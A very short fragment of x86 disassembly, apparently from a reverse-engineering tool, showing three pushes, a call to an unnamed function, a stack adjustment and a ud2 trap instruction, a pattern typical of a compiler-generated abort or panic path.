push 0x6dd4e8
push edx
push eax
call fcn.0045d720
add esp, 0xc
ud2